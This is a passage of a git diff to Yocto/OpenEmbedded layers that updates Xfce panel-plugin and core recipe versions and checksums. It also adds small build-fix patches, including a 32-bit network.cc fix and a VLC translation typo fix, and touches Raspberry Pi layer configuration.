diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/fsguard/xfce4-fsguard-plugin_1.1.2.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/fsguard/xfce4-fsguard-plugin_1.1.3.bb
index 5585a4f0aa..380d2e19e3 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/fsguard/xfce4-fsguard-plugin_1.1.2.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/fsguard/xfce4-fsguard-plugin_1.1.3.bb
@@ -5,4 +5,4 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=3434d79d62df09abf5f78bb76d6cd21b"
inherit xfce-panel-plugin
-SRC_URI[sha256sum] = "67d8e6a219a7117c59693adbc59c39a6eba31e3f18a5499189ef4ef28b554105"
+SRC_URI[sha256sum] = "84ef8bb4752292d64c0ef101badf7b14448790bfa0a85de644dbfa22986ec258"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/genmon/xfce4-genmon-plugin_4.1.1.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/genmon/xfce4-genmon-plugin_4.2.0.bb
index d792bc047b..31ad5e7ced 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/genmon/xfce4-genmon-plugin_4.1.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/genmon/xfce4-genmon-plugin_4.2.0.bb
@@ -1,8 +1,8 @@
DESCRIPTION = "This plugin cyclically spawns the indicated script/program, captures its output (stdout) and displays the resulting string into the panel."
HOMEPAGE = "http://goodies.xfce.org/projects/panel-plugins/xfce4-genmon-plugin"
LICENSE = "LGPL-2.1-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=68ad62c64cc6c620126241fd429e68fe"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4b54a1fd55a448865a0b32d41598759d"
inherit xfce-panel-plugin
-SRC_URI[sha256sum] = "b2119fd0ff19fa293b97ec97b0de8e241799e08b86218515167c568bd9b50135"
+SRC_URI[sha256sum] = "948d08ee5f2140847f109b531bc1d4cc6268496913ea7600d3c5ad89025a0362"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/mailwatch/xfce4-mailwatch-plugin_1.3.0.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/mailwatch/xfce4-mailwatch-plugin_1.3.1.bb
index a5c98efc1c..6ea260765f 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/mailwatch/xfce4-mailwatch-plugin_1.3.0.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/mailwatch/xfce4-mailwatch-plugin_1.3.1.bb
@@ -1,13 +1,13 @@
SUMMARY = "Multi-protocol, multi-mailbox mail watcher for the Xfce4 panel"
HOMEPAGE = "http://goodies.xfce.org/projects/panel-plugins/xfce4-mailwatch-plugin"
LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
inherit xfce-panel-plugin
DEPENDS += "gnutls"
-SRC_URI[sha256sum] = "20f91ebefd2880b27f421f773115b3740f67de2bf60feace3841bfd1a09cbe2e"
+SRC_URI[sha256sum] = "054964e9fe4ca668486400991ce1ea01d07aac7ba235f4b14d4a8f7d9800046a"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/netload/xfce4-netload-plugin_1.4.0.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/netload/xfce4-netload-plugin_1.4.1.bb
index 834f5cfaae..c30f17a7d4 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/netload/xfce4-netload-plugin_1.4.0.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/netload/xfce4-netload-plugin_1.4.1.bb
@@ -1,9 +1,9 @@
SUMMARY = "Panel plugin displaying current load of the network interfaces"
HOMEPAGE = "https://goodies.xfce.org/projects/panel-plugins/xfce4-netload-plugin"
LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=35a7203c41b86d15546dddc05995f97f"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2b6065ae7d3696cdad6869dd8627a9fe"
inherit xfce-panel-plugin
SRC_URI = "http://archive.xfce.org/src/panel-plugins/${BPN}/${@'${PV}'[0:3]}/${BPN}-${PV}.tar.bz2"
-SRC_URI[sha256sum] = "6c76260e101790754dd93255ec979accd97d21a21da85d8edcd6c7b01ddcd70c"
+SRC_URI[sha256sum] = "9fac3a3ad52e18584bfb127cd1721d56de1004b9fdd140915fded89704ccb44e"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/notes/xfce4-notes-plugin_1.9.0.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/notes/xfce4-notes-plugin_1.10.0.bb
index dc0fc2c60e..8c9768b1e3 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/notes/xfce4-notes-plugin_1.9.0.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/notes/xfce4-notes-plugin_1.10.0.bb
@@ -1,10 +1,10 @@
SUMMARY = "Notes plugin for the Xfce Panel"
HOMEPAGE = "http://goodies.xfce.org/projects/panel-plugins/xfce4-notes-plugin"
LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
inherit xfce-panel-plugin
DEPENDS += "gtk+3 libxfce4ui xfce4-panel xfconf"
-SRC_URI[sha256sum] = "13f909c948b639f96de64cf793eb74cb1779589201d3933eff214ee8f35ab088"
+SRC_URI[sha256sum] = "2ee4406042edd352a91e166c83b60d13220ef04dce3fa6b9e0eb13636d636929"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/places/xfce4-places-plugin_1.8.1.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/places/xfce4-places-plugin_1.8.3.bb
index e8e133035d..6400e0d3e4 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/places/xfce4-places-plugin_1.8.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/places/xfce4-places-plugin_1.8.3.bb
@@ -6,8 +6,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b6952d9a47fc2ad0f315510e1290455f"
inherit xfce-panel-plugin
-SRC_URI[md5sum] = "bde92cbd08f129d517524784e5060816"
-SRC_URI[sha256sum] = "f211219f03c9260f624370e18c79e4176c9d35a8247158e77e5d811327610ab2"
+SRC_URI[sha256sum] = "f11d0e6d03f22ab02c2e6b507d365b5a918532e8819e50647ee1860eca60c743"
PACKAGECONFIG ??= "notify"
PACKAGECONFIG[notify] = "--enable-notifications,--disable-notifications,libnotify"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/pulseaudio/xfce4-pulseaudio-plugin_0.4.3.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/pulseaudio/xfce4-pulseaudio-plugin_0.4.8.bb
index 5168efe1fe..c01b4966f0 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/pulseaudio/xfce4-pulseaudio-plugin_0.4.3.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/pulseaudio/xfce4-pulseaudio-plugin_0.4.8.bb
@@ -8,8 +8,7 @@ REQUIRED_DISTRO_FEATURES = "pulseaudio x11"
DEPENDS += "dbus-glib pulseaudio"
-SRC_URI[md5sum] = "3d86032acb9364d47e0a144350c63e1a"
-SRC_URI[sha256sum] = "5a518237e2137341d8ca6584938950525e20c28a0177e30ecaea3ba8e7a2615b"
+SRC_URI[sha256sum] = "bd742b207c39c221e91c57c9c9be2839eb802d1b1ee01a02b7427cd02d3f0348"
PACKAGECONFIG ??= "libnotify"
PACKAGECONFIG[libnotify] = "--enable-libnotify,--disable-libnotify,libnotify"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin/convert-gulong.patch b/meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin/convert-gulong.patch
new file mode 100644
index 0000000000..30897caab3
--- /dev/null
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin/convert-gulong.patch
@@ -0,0 +1,39 @@
+Fix build on 32bit architectures
+
+It fails with errors like
+| ../../xfce4-systemload-plugin-1.3.2/panel-plugin/network.cc:126:13: error: no matching function for call to 'read_netload_libgtop'
+| 126 | if (read_netload_libgtop (&bytes[1]) != 0)
+| | ^~~~~~~~~~~~~~~~~~~~
+| ../../xfce4-systemload-plugin-1.3.2/panel-plugin/network.cc:42:1: note: candidate function not viable: no known conversion from 'guint64 *' (aka 'unsigned long long *') to 'gulong *' (aka 'unsigne
+d long *') for 1st argument
+| 42 | read_netload_libgtop (gulong *bytes)
+| | ^ ~~~~~~~~~~~~~
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+--- a/panel-plugin/network.cc
++++ b/panel-plugin/network.cc
+@@ -114,6 +114,7 @@ read_netload_proc (gulong *bytes)
+ gint
+ read_netload (gulong *net, gulong *NTotal)
+ {
++ gulong tbytes[2];
+ static guint64 bytes[2];
+ static gint64 time[2];
+
+@@ -122,10 +123,12 @@ read_netload (gulong *net, gulong *NTota
+
+ time[1] = g_get_monotonic_time ();
+
+- if (read_netload_proc (&bytes[1]) != 0)
+- if (read_netload_libgtop (&bytes[1]) != 0)
++ if (read_netload_proc (&tbytes[1]) != 0)
++ if (read_netload_libgtop (&tbytes[1]) != 0)
+ return -1;
+
++ bytes[0] = tbytes[0];
++ bytes[1] = tbytes[1];
+ if (time[0] != 0 && G_LIKELY (time[1] > time[0]) && G_LIKELY (bytes[1] >= bytes[0]))
+ {
+ guint64 diff_bits = 8 * (bytes[1] - bytes[0]);
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin_1.3.1.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin_1.3.2.bb
index 151ce3849c..e7a3e9936e 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin_1.3.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/systemload/xfce4-systemload-plugin_1.3.2.bb
@@ -9,4 +9,5 @@ PACKAGECONFIG ?= "network power"
PACKAGECONFIG[power] = ",,upower"
PACKAGECONFIG[network] = ",,libgtop"
-SRC_URI[sha256sum] = "56d1007801d52d7c2b5a13bb54745f6d7f06fda28b49ce936145633068817652"
+SRC_URI += "file://convert-gulong.patch"
+SRC_URI[sha256sum] = "bb303fc3020e053ad1fa0b8fcbf0d7681c5563bb8f649357d6a95a577802b072"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/time-out/xfce4-time-out-plugin_1.1.2.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/time-out/xfce4-time-out-plugin_1.1.3.bb
index 5b7f62471d..9fa287a1ca 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/time-out/xfce4-time-out-plugin_1.1.2.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/time-out/xfce4-time-out-plugin_1.1.3.bb
@@ -6,4 +6,4 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
inherit xfce-panel-plugin
-SRC_URI[sha256sum] = "3dd8eba694ff3ba5c25bd7f5cd70dc22175fb2c0a759213f05ab8f0e629d82d4"
+SRC_URI[sha256sum] = "5a1ca36361e95ec718bbd887ea5be6a270ab458d1c2d672186721522a7228ee8"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/timer/xfce4-timer-plugin_1.7.1.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/timer/xfce4-timer-plugin_1.7.2.bb
index 1231e084cd..33b60438d1 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/timer/xfce4-timer-plugin_1.7.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/timer/xfce4-timer-plugin_1.7.2.bb
@@ -2,9 +2,8 @@ SUMMARY = "XFCE panel plugin to generate alarm messages"
DESCRIPTION = "This is a simple plugin that lets the user run an alarm at a specified time or at the end of a specified countdown period"
HOMEPAGE = "http://goodies.xfce.org/projects/panel-plugins/xfce4-timer-plugin"
LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ae39271267fd63eb7619432ff24e7ff1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f1c52159bdaebd029cb11927cbe709e4"
inherit xfce-panel-plugin
-SRC_URI[md5sum] = "e0df5b6be30993719d084fc4f78a6218"
-SRC_URI[sha256sum] = "4b52d2911b1949e945971be6533155ee6ba99c77078eac7fd43b0f2aeca824e3"
+SRC_URI[sha256sum] = "feb3b8c2d39505e816683540a3226bd7bda870ccbcb4c7d0f6abfeeff5c58b7d"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/verve/xfce4-verve-plugin_2.0.1.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/verve/xfce4-verve-plugin_2.0.3.bb
index eefe3322b3..9dcaae8ceb 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/verve/xfce4-verve-plugin_2.0.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/verve/xfce4-verve-plugin_2.0.3.bb
@@ -1,9 +1,9 @@
SUMMARY = "Verve panel plugin is a comfortable command line plugin for the Xfce panel"
HOMEPAGE = "http://goodies.xfce.org/projects/panel-plugins/xfce4-verve-plugin"
LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
inherit xfce-panel-plugin
-SRC_URI[sha256sum] = "ebda5e5eb62d6e42afdc6f121d2f1cbd4d9d3c2b16a5e3ed8192b1b224b8f825"
+SRC_URI[sha256sum] = "e1bf121f1bf9cf2a199bf5c0f3aa802f503df9bea50724741e7a92fe6d9fe09e"
DEPENDS += "libpcre"
diff --git a/meta-openembedded/meta-xfce/recipes-panel-plugins/weather/xfce4-weather-plugin_0.11.0.bb b/meta-openembedded/meta-xfce/recipes-panel-plugins/weather/xfce4-weather-plugin_0.11.1.bb
index ede98e9926..858bd5459b 100644
--- a/meta-openembedded/meta-xfce/recipes-panel-plugins/weather/xfce4-weather-plugin_0.11.0.bb
+++ b/meta-openembedded/meta-xfce/recipes-panel-plugins/weather/xfce4-weather-plugin_0.11.1.bb
@@ -7,6 +7,6 @@ inherit xfce-panel-plugin
DEPENDS += "libsoup-2.4 dbus-glib upower"
-SRC_URI[sha256sum] = "e3242ea951d51bc0fded1d02a4f1f662bec16a1fb10c855f71bda6541a1153fc"
+SRC_URI[sha256sum] = "a45146f9a0dcdc95d191c09c64ad279ae289cf8f811c4433e08e31a656845239"
FILES:${PN} += "${datadir}/xfce4/weather"
diff --git a/meta-openembedded/meta-xfce/recipes-thunar-plugins/archive/thunar-archive-plugin_0.5.1.bb b/meta-openembedded/meta-xfce/recipes-thunar-plugins/archive/thunar-archive-plugin_0.5.2.bb
index 044a39a3c0..91b3efa83e 100644
--- a/meta-openembedded/meta-xfce/recipes-thunar-plugins/archive/thunar-archive-plugin_0.5.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-thunar-plugins/archive/thunar-archive-plugin_0.5.2.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4cf66a4984120007c9881cc871cf49db"
inherit thunar-plugin
-SRC_URI[sha256sum] = "a81b3ab1d3cd77c7b3d6db15b37a3c12d65b06e373edc3c21083f02d605d8bed"
+SRC_URI[sha256sum] = "6379f877bcfc0ea85db9f43723b6fb317893050c712bd03c2ae3232fb9d5ade3"
# install tap files in ${libdir}/thunar-archive-plugin
EXTRA_OECONF += "--libexecdir=${libdir}"
diff --git a/meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/files/0001-build-Bump-GLib-minimum-required-to-2.26.patch b/meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/files/0001-build-Bump-GLib-minimum-required-to-2.26.patch
deleted file mode 100644
index 1cd24572f8..0000000000
--- a/meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/files/0001-build-Bump-GLib-minimum-required-to-2.26.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Upstream-Status: Backport [https://gitlab.xfce.org/thunar-plugins/thunar-shares-plugin/-/commit/e4bce21a]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From e4bce21a1bd744ccfde84de4669ac30aa1d72135 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Ga=C3=ABl=20Bonithon?= <gael@xfce.org>
-Date: Fri, 2 Dec 2022 20:18:46 +0100
-Subject: [PATCH] build: Bump GLib minimum required to 2.26
-
-This is the minimum required to build since xfce4-dev-tools >= 4.17.1
-set GLIB_VERSION_MAX_ALLOWED to the GLib version found in
-configure.ac.in.
-
-MR: !3
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index a458785..bc6d24c 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -61,7 +61,7 @@ dnl -------------------------------------------------------
- dnl Packages checks
- dnl -------------------------------------------------------
- XDT_CHECK_PACKAGE([GTK], [gtk+-3.0], [3.22.0])
--XDT_CHECK_PACKAGE([GLIB], [glib-2.0], [2.18.0])
-+XDT_CHECK_PACKAGE([GLIB], [glib-2.0], [2.26.0])
- XDT_CHECK_PACKAGE([THUNARX], [thunarx-3], [1.0.1])
-
- dnl -------------------------------------------------------
---
-2.34.1
-
diff --git a/meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/thunar-shares-plugin_0.3.1.bb b/meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/thunar-shares-plugin_0.3.2.bb
index d981fe14aa..065e89254b 100644
--- a/meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/thunar-shares-plugin_0.3.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-thunar-plugins/shares/thunar-shares-plugin_0.3.2.bb
@@ -7,7 +7,6 @@ inherit thunar-plugin features_check
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
REQUIRED_DISTRO_FEATURES = "pam"
-SRC_URI += "file://0001-build-Bump-GLib-minimum-required-to-2.26.patch"
-SRC_URI[sha256sum] = "dc1d8c7caa727e76d033d4653dc0742613f57a1711d0050900659c90a84452a0"
+SRC_URI[sha256sum] = "1009d5e6c91534fa49a69090c53c54ab9da2e0428d08d8e687528f63a4ac3f07"
RDEPENDS:${PN} += "samba-server"
diff --git a/meta-openembedded/meta-xfce/recipes-xfce/exo/exo_4.18.0.bb b/meta-openembedded/meta-xfce/recipes-xfce/exo/exo_4.19.0.bb
index b339b181f1..48044240a8 100644
--- a/meta-openembedded/meta-xfce/recipes-xfce/exo/exo_4.18.0.bb
+++ b/meta-openembedded/meta-xfce/recipes-xfce/exo/exo_4.19.0.bb
@@ -15,7 +15,7 @@ SRC_URI += " \
file://exo-no-tests-0.8.patch \
"
-SRC_URI[sha256sum] = "4f2c61d045a888cdb64297fd0ae20cc23da9b97ffb82562ed12806ed21da7d55"
+SRC_URI[sha256sum] = "a0124108c197efcc576a6deeface381416dc7137b6a7e7dfa3060fad62509fb7"
# Note: python bindings did not work in oe-dev and are about to be moved to
# pyxfce see http://comments.gmane.org/gmane.comp.desktop.xfce.devel.version4/19560
diff --git a/meta-openembedded/meta-xfce/recipes-xfce/garcon/garcon_4.18.1.bb b/meta-openembedded/meta-xfce/recipes-xfce/garcon/garcon_4.19.0.bb
index c139bfd4c2..321f645b01 100644
--- a/meta-openembedded/meta-xfce/recipes-xfce/garcon/garcon_4.18.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-xfce/garcon/garcon_4.19.0.bb
@@ -11,7 +11,7 @@ inherit xfce gtk-doc gobject-introspection features_check
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
SRC_URI += "file://0001-xfce-applications.menu-don-t-bloat-settings-menu-by-.patch"
-SRC_URI[sha256sum] = "fe7a932a6dac95eb1438f3fbfd53096756ff2e1cb179d10d0fb796cefbb4c20b"
+SRC_URI[sha256sum] = "e692f0d02294984c6b787e810a187c753a16f06ca87c68c0bb3de364ea3f6b0c"
EXTRA_OECONF = "--disable-gtk-doc"
diff --git a/meta-openembedded/meta-xfce/recipes-xfce/libxfce4ui/libxfce4ui_4.18.3.bb b/meta-openembedded/meta-xfce/recipes-xfce/libxfce4ui/libxfce4ui_4.19.3.bb
index 417858c98e..e53d01d00c 100644
--- a/meta-openembedded/meta-xfce/recipes-xfce/libxfce4ui/libxfce4ui_4.18.3.bb
+++ b/meta-openembedded/meta-xfce/recipes-xfce/libxfce4ui/libxfce4ui_4.19.3.bb
@@ -12,7 +12,7 @@ ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
# TODO: Check if 0001-... can go
SRC_URI += "file://0001-libxfce4kbd-private-xfce4-keyboard-shortcuts.xml-fix.patch"
-SRC_URI[sha256sum] = "afa3a46eeed3ab612d2f7e1308edaf5819f6c33ccc16c13080efabd58f010abd"
+SRC_URI[sha256sum] = "16815eef494ba9bac9c854e95c205c0bc5568c8022c31604348f9edadb02f227"
EXTRA_OECONF += "--with-vendor-info=${DISTRO}"
EXTRA_OECONF += "--disable-vala"
diff --git a/meta-openembedded/meta-xfce/recipes-xfce/libxfce4util/libxfce4util_4.18.1.bb b/meta-openembedded/meta-xfce/recipes-xfce/libxfce4util/libxfce4util_4.19.2.bb
index 683f6c3373..b54501cac2 100644
--- a/meta-openembedded/meta-xfce/recipes-xfce/libxfce4util/libxfce4util_4.18.1.bb
+++ b/meta-openembedded/meta-xfce/recipes-xfce/libxfce4util/libxfce4util_4.19.2.bb
@@ -6,4 +6,4 @@ DEPENDS = "intltool-native xfce4-dev-tools-native glib-2.0"
inherit xfce gtk-doc gobject-introspection vala
-SRC_URI[sha256sum] = "8a52063a5adc66252238cad9ee6997909b59983ed21c77eb83c5e67829d1b01f"
+SRC_URI[sha256sum] = "d4c7eb021d1c9408190bcfb92c7ce26f51e994674ac3c3b8a119270c1e900ac4"
diff --git a/meta-openembedded/meta-xfce/recipes-xfce/thunar/thunar_4.18.4.bb b/meta-openembedded/meta-xfce/recipes-xfce/thunar/thunar_4.19.0.bb
index 921dba0631..02e4ef956a 100644
--- a/meta-openembedded/meta-xfce/recipes-xfce/thunar/thunar_4.18.4.bb
+++ b/meta-openembedded/meta-xfce/recipes-xfce/thunar/thunar_4.19.0.bb
@@ -10,7 +10,7 @@ inherit xfce gobject-introspection features_check mime-xdg perlnative
# cairo would at least needed to be built with xlib.
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-SRC_URI[sha256sum] = "c4463ce2fb1d628adce70a828e8b4de5fa0802236894d2c40f749471619bedcc"
+SRC_URI[sha256sum] = "684f1422c4d92b00db477ecaa2a0ed38ce688e2a567e5d70b7cf66fc6dd6fd18"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
PACKAGECONFIG[pcre] = "--enable-pcre2,--disable-pcre2,libpcre2"
diff --git a/meta-openembedded/meta-xfce/recipes-xfce/xfce4-appfinder/xfce4-appfinder_4.18.0.bb b/meta-openembedded/meta-xfce/recipes-xfce/xfce4-appfinder/xfce4-appfinder_4.19.1.bb
index 06dc0a200c..0fea41c773 100644
--- a/meta-openembedded/meta-xfce/recipes-xfce/xfce4-appfinder/xfce4-appfinder_4.18.0.bb
+++ b/meta-openembedded/meta-xfce/recipes-xfce/xfce4-appfinder/xfce4-appfinder_4.19.1.bb
@@ -8,6 +8,6 @@ inherit xfce features_check
REQUIRED_DISTRO_FEATURES = "x11"
-SRC_URI[sha256sum] = "962a98d7b327d2073ed4cd0f78bce7945ed51b97d52fd60196e8b02ef819c18c"
+SRC_URI[sha256sum] = "d8bd2a1dd9d193eb25e8e5e68b1beae3578a46d1c5eeee30bec7dabbf4330648"
FILES:${PN} += "${datadir}/metainfo"
diff --git a/meta-raspberrypi/.readthedocs.yaml b/meta-raspberrypi/.readthedocs.yaml
index 454f385aa1..5e8dc2074d 100644
--- a/meta-raspberrypi/.readthedocs.yaml
+++ b/meta-raspberrypi/.readthedocs.yaml
@@ -1,6 +1,9 @@
version: 2
+build:
+ os: ubuntu-22.04
+ tools:
+ python: "3.7"
python:
- version: "3.7"
install:
- requirements: docs/requirements.txt
diff --git a/meta-raspberrypi/conf/machine/include/rpi-base.inc b/meta-raspberrypi/conf/machine/include/rpi-base.inc
index 64f60ab1e9..472f18efad 100644
--- a/meta-raspberrypi/conf/machine/include/rpi-base.inc
+++ b/meta-raspberrypi/conf/machine/include/rpi-base.inc
@@ -148,6 +148,9 @@ IMAGE_BOOT_FILES ?= "${BOOTFILES_DIR_NAME}/* \
${@make_dtb_boot_files(d)} \
${RPI_EXTRA_IMAGE_BOOT_FILES} \
"
+
+EXTRA_IMAGEDEPENDS += "rpi-bootfiles"
+
do_image_wic[depends] += " \
virtual/kernel:do_deploy \
rpi-bootfiles:do_deploy \
diff --git a/meta-raspberrypi/dynamic-layers/multimedia-layer/recipes-multimedia/rpidistro-vlc/files/3010-po-Fix-typos-in-oc.po-for-gettext-compatibility.patch b/meta-raspberrypi/dynamic-layers/multimedia-layer/recipes-multimedia/rpidistro-vlc/files/3010-po-Fix-typos-in-oc.po-for-gettext-compatibility.patch
new file mode 100644
index 0000000000..acfb39ade3
--- /dev/null
+++ b/meta-raspberrypi/dynamic-layers/multimedia-layer/recipes-multimedia/rpidistro-vlc/files/3010-po-Fix-typos-in-oc.po-for-gettext-compatibility.patch
@@ -0,0 +1,59 @@
+From 4caba7560aec54f6d944accd1a8d216e8d9b1d92 Mon Sep 17 00:00:00 2001
+From: Vincent Davis Jr <vince@underview.tech>
+Date: Tue, 14 Nov 2023 20:17:11 -0500
+Subject: [PATCH] po: Fix typos in oc.po for gettext compatibility
+
+Upstream-Status: Inappropriate
+
+Ws moved upstream, but upstream patch couldn't be applied.
+
+https://code.videolan.org/videolan/vlc/-/commit/9d67e20c2edd25251b46d1780a7973b44ac5e5ba
+
+gettext-0.22 became stricter and started to validate format strings. Fix
+the typos.
+
+Bug: https://bugs.gentoo.org/909015
+
+Signed-off-by: Vincent Davis Jr <vince@underview.tech>
+---
+ po/oc.po | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/po/oc.po b/po/oc.po
+index 86f2ed8a1..ce68c581f 100644
+--- a/po/oc.po
++++ b/po/oc.po
+@@ -5298,18 +5298,18 @@ msgstr "Comanda+"
+ #: src/misc/update.c:482
+ #, c-format
+ msgid "%.1f GiB"
+-msgstr "%.lf Gio"
++msgstr "%.1f Gio"
+
+ #: src/misc/update.c:484
+ #, c-format
+ msgid "%.1f MiB"
+-msgstr "%.lf Mio"
++msgstr "%.1f Mio"
+
+ #: src/misc/update.c:486 modules/gui/macosx/VLCPlaylistInfo.m:138
+ #: modules/gui/macosx/VLCPlaylistInfo.m:140
+ #, c-format
+ msgid "%.1f KiB"
+-msgstr "%.lf Kio"
++msgstr "%.1f Kio"
+
+ #: src/misc/update.c:488
+ #, c-format
+@@ -33071,7 +33071,7 @@ msgstr "Lista del gestionari de mèdias"
+
+ #, fuzzy
+ #~ msgid "%.1f kB"
+-#~ msgstr "%.lf Gio"
++#~ msgstr "%.1f Gio"
+
+ #, fuzzy
+ #~ msgid "Speed"
+--
+2.34.1
+
diff --git a/meta-raspberrypi/dynamic-layers/multimedia-layer/recipes-multimedia/rpidistro-vlc/rpidistro-vlc_3.0.17.bb b/meta-raspberrypi/dynamic-layers/multimedia-layer/recipes-multimedia/rpidistro-vlc/rpidistro-vlc_3.0.17.bb
index 2250774f06..20072019b7 100644
--- a/meta-raspberrypi/dynamic-layers/multimedia-layer/recipes-multimedia/rpidistro-vlc/rpidistro-vlc_3.0.17.bb
+++ b/meta-raspberrypi/dynamic-layers/multimedia-layer/recipes-multimedia/rpidistro-vlc/rpidistro-vlc_3.0.17.bb
@@ -27,6 +27,7 @@ SRC_URI = "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', 'file://3007-remove-xorg-related-link-libs.patch', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'opengl', '', 'file://3008-vo-Makefile.am-exclude-libgl_plugin.patch', d)} \
file://3009-vo-converter_vaapi-Fix-EGL-macro-undeclared.patch \
+ file://3010-po-Fix-typos-in-oc.po-for-gettext-compatibility.patch \
"
SRCREV = "b276eb0d7bc3213363e97dbb681ef7c927be6c73"
diff --git a/meta-raspberrypi/recipes-bsp/bootfiles/rpi-config/0001-config.txt-reintroduce-start_x.patch b/meta-raspberrypi/recipes-bsp/bootfiles/rpi-config/0001-config.txt-reintroduce-start_x.patch
new file mode 100644
index 0000000000..c6c51c951f
--- /dev/null
+++ b/meta-raspberrypi/recipes-bsp/bootfiles/rpi-config/0001-config.txt-reintroduce-start_x.patch
@@ -0,0 +1,55 @@
+From ce27f7e22b2cd7453a425e08780a338a71301961 Mon Sep 17 00:00:00 2001
+From: Leon Anavi <leon.anavi@konsulko.com>
+Date: Mon, 20 Nov 2023 15:19:15 +0200
+Subject: [PATCH] config.txt: reintroduce start_x
+
